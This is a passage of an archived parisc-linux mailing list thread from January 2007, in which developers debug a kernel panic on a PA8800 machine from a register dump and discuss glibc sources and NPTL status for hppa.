List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: U2TudioQODBpUrWUfGRMv1c1Ji9SWtLz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24193

>     4031104c:   4a 9c 01 e8     ldw f4(r20),ret0
> 
> It seems like there must be some way to get to 4031104c avoiding the
> on r20/ret0.  Don't see any branches to the region between 40311024
> and 40311044 in the function, or any other direct branches to 4031104c.

Sorry, I was thinking this was a null pointer deref.  Actually, it would
appear to be a misaligned load.  r20 contains 0x3c353e25733a2046.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: PA8800 Status (Happy New Year)
Date: Tue, 2 Jan 2007 23:24:36 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200701030424.l034Oa4H021468__4013.40478933907$1416624247$gmane$org@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624247 22007 80.91.229.3 (22 Nov 2014 02:44:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 04:24:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 03 Jan 2007 05:24:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D085C7DA14;
	Tue,  2 Jan 2007 21:24:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30856-10; Tue, 2 Jan 2007 21:24:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C13877DA15;
	Tue,  2 Jan 2007 21:24:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5228E7DA12
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 21:24:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30973-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Jan 2007 21:24:38 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A21277DA10
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 21:24:38 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l034OaRJ021469;
	Tue, 2 Jan 2007 23:24:36 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l034Oa4H021468;
	Tue, 2 Jan 2007 23:24:36 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Jan 2, 2007 07:58:56 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fUXydlBreWU3WK2TZm9nlCgrL0tsZk2P
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24194

> expect (pid 20348): Protection id trap (code 27)
> Backtrace:
>       _______________________________
>      < Your System ate a SPARC! Gah! >

It looks like show_stack is broken.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix error condition in glibc's clone() call
Date: Wed, 3 Jan 2007 00:37:11 -0500
Organization: wh0rd.org
Lines: 51
Approved: news@gmane.org
Message-ID: <200701030037.12854.vapier__13487.2693139643$1416624248$gmane$org@gentoo.org>
References: <200612291709.34592.deller@gmx.de> <119aab440701022107u1e5cbbb5qeaf6537b95f362aa@mail.gmail.com> <119aab440701022108t12bfe6cbv592f62d3d0605a85@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1433152.tq59yWizOM";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624248 22010 80.91.229.3 (22 Nov 2014 02:44:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:08 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org,
 "Joel Soete" <soete.joel@tiscali.be>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <vapier@gentoo.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 05:36:09 -0000
Original-Received: from smtp.gentoo.org (EHLO smtp.gentoo.org) [140.211.166.183]
  by mx0.gmx.net (mx021) with SMTP; 03 Jan 2007 06:36:09 +0100
Original-Received: from home.wh0rd.org (pool-141-154-238-235.bos.east.verizon.net [141.154.238.235])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 40BC664854
	for <deller@gmx.de>; Wed,  3 Jan 2007 05:36:07 +0000 (UTC)
Original-Received: (qmail 27158 invoked from network); 3 Jan 2007 00:35:24 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
  by 192.168.0.1 with SMTP; 3 Jan 2007 00:35:24 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <119aab440701022108t12bfe6cbv592f62d3d0605a85@mail.gmail.com>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rzHyKm0dMydyf4igZWplXjdraGRhZlpa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24195

--nextPart1433152.tq59yWizOM
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Wednesday 03 January 2007 00:08, Carlos O'Donell wrote:
> On 1/3/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> > On 1/2/07, Mike Frysinger <vapier@gentoo.org> wrote:
> > > when it comes to parisc sources, are we supposed to be looking at the
> > > FSF glibc cvs or the parisc glibc cvs ?  they often seem way out of
> > > sync ...
> >
> > glibc cvs.
>
> Though... your distro may not be completely up to date.
> We are in the middle of brining NPTL + TLS out ot "alpha" status for hppa.

i've been following the nptl stuff and yes Gentoo is out of date ... we're =
on=20
glibc-2.3.6 + linuxthreads

i was asking for personal preference when investigating things ... want to=
=20
make sure i'm looking at the latest code when i send fixes ;)
=2Dmike

--nextPart1433152.tq59yWizOM
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.1 (GNU/Linux)

iQIVAwUARZtBCEFjO5/oN/WBAQImOxAAtIeHUQwWXQkj2SH0GMZGrqiXfVPPtc/P
K4jZqRxOl0BGizczVDC1BmL6dI79RWCFsPekLIMZUobyuSAt/gYbDCrlhQTPkgya
dCHWTqYXk9lbfh9KRNrIf2O9Y0Hsv0sOSfFWR6XO2OMbqwyZu+O0Yrn7w1ABER0T
vBCqylhyNynqirdcYRkZ0NFscw6cF8jOFG594ZR6+ttt2zlkubtgNOHMI8eMZLmy
M2v1q408FqYboOrD3IAEkca3NVu01CYZrpRnAkuShBKVkC5dNm6WIPEIfV4uOGlI
eqUKOtiHJhgT70dMcwg59/77JLObZ2NhPFgAgYzxyWVE2TL2TDsIJ5d9hdVhn1Pn
MQOnXVOIF6INuqKNB3lQQZqnFPf7wJAqSo+0d6VBxXshRHaxSgpeFP/rwnVa8W0R
pwJ0eePnfK3nndEsN3WvjfWg9hdYJsRkBZICXlFpf9BMw9fqX/ZsnbJZndU8DC+G
qBMRQ8ZlW3DD8UiuC3+lEHfs6ysAeleFAjciZknuz4uwVklguFOF4Tyc3fkIjfsi
kjbW/RgUtbZtwnLbymzx1kquhK4AaRM48NmU8tpHVETzPNqQar/QxGJfIlVRFtOK
uCaG7qBATr14lEomkVl2rAGK34HgOntgBzNhIdcHmXOUkfWGSK+RpacU2Mnv6xNl
Uq5kkB16wiI=
=xi7b
-----END PGP SIGNATURE-----

--nextPart1433152.tq59yWizOM--



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800 Status (Happy New Year)
Date: Wed, 3 Jan 2007 00:24:18 -0700
Lines: 91
Approved: news@gmane.org
Message-ID: <20070103072418.GE702__45206.3177749098$1416624248$gmane$org@colo.lackof.org>
References: <200701030058.l030wur7018506@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624248 22015 80.91.229.3 (22 Nov 2014 02:44:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 07:24:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 03 Jan 2007 08:24:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1479A7DA5F;
	Wed,  3 Jan 2007 00:24:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32478-10; Wed, 3 Jan 2007 00:24:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4584A7DA61;
	Wed,  3 Jan 2007 00:24:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 45D147DA5C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Jan 2007 00:24:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32478-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Jan 2007 00:24:19 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 94A737DA5B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Jan 2007 00:24:19 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F0F0B3D83AC;
	Wed,  3 Jan 2007 00:24:18 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04108-07; Wed, 3 Jan 2007 00:24:18 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2DB153D83AB; Wed,  3 Jan 2007 00:24:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200701030058.l030wur7018506@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YS/6IUlEa0AoXL6aejEzbpY3Njh6dI4X
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24196

On Tue, Jan 02, 2007 at 07:58:56PM -0500, John David Anglin wrote:
> I spent the last couple of days updating the kernel and userspace
> software on the pa8800 that I have (ior).  The good news is that
> the machine is now much more stable than it was.  ssh seems to
> work.  I've even been able to do a full GCC build on it.  Thanks
> to all for the fixes!

Happy New Year!
Wow! That is good!

> The bad news.  The system died almost immediately starting the
> gcc testsuite:
> 
> >From the console log:
> 
> expect (pid 20348): Protection id trap (code 27)
> Backtrace:
>       _______________________________
>      < Your System ate a SPARC! Gah! >
>       -------------------------------
>              \   ^__^
>               \  (xx)\_______
>                  (__)\       )\/\
>                   U  ||----w |
>                      ||     ||
> expect (pid 20348): Protection id trap (code 27)
> Backtrace:
>       _______________________________
>      < Your System ate a SPARC! Gah! >
> 
> [repeats a number of times]
> 
> Backtrace:
> 
> 
> Bad Address (null pointer deref?): Code=15 regs=0000000245b4f590 (Addr=00000625733a213a)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001001011110100001111 Not tainted
> r00-03  000000ff0804bd0f 000000004050f8c0 0000000040311010 0000000084f664ff
> r04-07  00000000405038c0 0000000000000002 0000000084f664c1 000000007fe0a000
> r08-11  0000000000000000 000000007fe0a000 00000000000002b1 000000007ea85600
> r12-15  000000004f2241c0 000000007e96c000 000000007fe0a000 0000000000000040
> r16-19  0000000000000000 000000007fe0a494 000000007ad0b012 00000000404ba2d4
> r20-23  3c353e25733a2046 000000004050f8c0 000000007fe0a000 0000000000000000
> r24-27  0000000084f664c1 0000000000013c43 0000000078340400 00000000405038c0
> r28-31  0000000000000003 0000000245b4f560 0000000245b4f590 00000000404ba2c0
> sr00-03  0000000001436800 0000000000000000 0000000000000000 0000000001436800
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004031104c 0000000040311050

This looks like userspace. Odd.

>  IIR: 4a9c01e8    ISR: 000000003c353800  IOR: 00000625733a213a

And the IOR looks like garbage. :(

>  CPU:        0   CR30: 0000000241ee0000 CR31: 00000000404c4000
>  ORIG_R28: 00000054000000c8
>  IAOQ[0]: ip_route_input+0xb4/0xca8
>  IAOQ[1]: ip_route_input+0xb8/0xca8
>  RP(r2): ip_route_input+0x78/0xca8
> Kernel panic - not syncing: Bad Address (null pointer deref?)
>  <0>Rebooting in 5 seconds..

Right now, I don't trust the backtrace. *sigh*

FYI, ioz (800Mhz pa8800) crashed when booting 2.6.20-rc2.
I'm still looking at the PIM dump.
Last output was from ide driver. I'll try to disable DMA
and see if that works better.

cheers,
grant

> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix error condition in glibc's clone() call
Date: Tue, 2 Jan 2007 19:44:27 -0500
Organization: wh0rd.org
Lines: 38
Approved: news@gmane.org
Message-ID: <200701021944.35324.vapier__15827.9263334864$1416624248$gmane$org@gentoo.org>
References: <200612291709.34592.deller@gmx.de> <119aab440701021629n73370187j6d56fb20b277dd13@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart3397864.avJbP3E5Jh";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624248 22019 80.91.229.3 (22 Nov 2014 02:44:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:08 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org,
 "Joel Soete" <soete.joel@tiscali.be>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <vapier@gentoo.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 00:43:32 -0000
Original-Received: from smtp.gentoo.org (EHLO smtp.gentoo.org) [140.211.166.183]
  by mx0.gmx.net (mx095) with SMTP; 03 Jan 2007 01:43:32 +0100
Original-Received: from home.wh0rd.org (pool-141-154-238-235.bos.east.verizon.net [141.154.238.235])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 6D7FB6464C
	for <deller@gmx.de>; Wed,  3 Jan 2007 00:43:30 +0000 (UTC)
Original-Received: (qmail 25952 invoked from network); 2 Jan 2007 19:42:51 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
  by 192.168.0.1 with SMTP; 2 Jan 2007 19:42:51 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <119aab440701021629n73370187j6d56fb20b277dd13@mail.gmail.com>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e4n7IXZEa0AoXL6aejEz+Ms3Njh6dM4Y
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24197

--nextPart3397864.avJbP3E5Jh
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Tuesday 02 January 2007 19:29, Carlos O'Donell wrote:
> This is already fixed in upstream. Where are you getting your glibc
> sources from?

when it comes to parisc sources, are we supposed to be looking at the FSF=20
glibc cvs or the parisc glibc cvs ?  they often seem way out of sync ...
=2Dmike

--nextPart3397864.avJbP3E5Jh
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.1 (GNU/Linux)

iQIVAwUARZr8c0FjO5/oN/WBAQJTCBAA17Vas3SImLjGupMcrLp0CtKY/ygymu82
ylpw5SySD805ef5HGVJOkY+E9w/Amsf287Sih+SBjwbGRUQkU1Xapb1X1qT0D+xb
B9RyHbNEjE6tjLC62B3azhcVSOrQSxZPysx5zi81XFj2f3LR34QNmtdWDsTlaSkw
L2MUNCxOCiM1vZ/+MaA/7HE4wtWd40BRi5r0b+ydrUR3vCtCrX34wbI/JYmxRYcf
y/tBY4ZIqMLMw9bCYHXS4qesUcPmZWfe41ID4FrH1egzADO47+PzWQBfU1wt1Qx5
Xs7q3Kh4SxOahSvtuD6zfL5O9hXCTuhESHZcUcWPL0xsadQJObfDa9YIUG6CqS/F
ZJZ1o9Q0cFPswzLoqeou2ot3Xci5BFNSLoCMULNABFsSxeQG+BKWKYXHl22XqM2w
1HwZA3P8KGGyCphKgAjwbmZhEthjK1aiZiO9c42U+Kcjm9vVSCF+ON4LoGJ+JZo8
xBozgSxNOwuqFolNX1aRZpS0PHvxpK4j6/SjNiUt0XcFy0oYGR6xpaonwzRYKuPA
tLshfjhDJQ5aAY0Qnjx8BHj41DYYqv+iFPTNBxynK5GRlpE8ob7diFB4WJ8Fu/ig
YLy2JEf3re39oCjaj9MMq3fcC0aIINX4zDJCnQ/dM0wlVW0wUzV+DIzhLOaBFGy4
TT6cxYcFm70=
=pTO7
-----END PGP SIGNATURE-----

--nextPart3397864.avJbP3E5Jh--



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Feisty and HPPA
Date: Tue, 2 Jan 2007 19:43:45 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <5b2e36650701021643x4e1d721sf558b010d36ed7b6__45069.0643200234$1416624249$gmane$org@mail.gmail.com>
References: <5b2e36650612260750s68a4a19vd83090f5dbe7cff8@mail.gmail.com>
	<119aab440701021637l1c544acfn35a4f3ac93a82a4f@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624249 22029 80.91.229.3 (22 Nov 2014 02:44:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:09 +0000 (UTC)
Cc: adam.conrad@ubuntu.com,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 00:43:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 03 Jan 2007 01:43:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F01187DA08;
	Tue,  2 Jan 2007 17:43:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29127-05; Tue, 2 Jan 2007 17:43:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54E767DA09;
	Tue,  2 Jan 2007 17:43:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9F507DA06
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 17:43:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29127-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Jan 2007 17:43:46 -0700 (MST)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.237])
	by free.linux.hp.com (Postfix) with ESMTP id F1BD77DA0E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Jan 2007 17:43:45 -0700 (MST)
Original-Received: by wx-out-0506.google.com with SMTP id s13so3199473wxc
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 02 Jan 2007 16:43:45 -0800 (PST)
Original-Received: by 10.90.115.9 with SMTP id n9mr14676181agc.1167785025525;
	Tue, 02 Jan 2007 16:43:45 -0800 (PST)
Original-Received: by 10.90.65.18 with HTTP; Tue, 2 Jan 2007 16:43:45 -0800 (PST)
In-Reply-To: <119aab440701021637l1c544acfn35a4f3ac93a82a4f@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
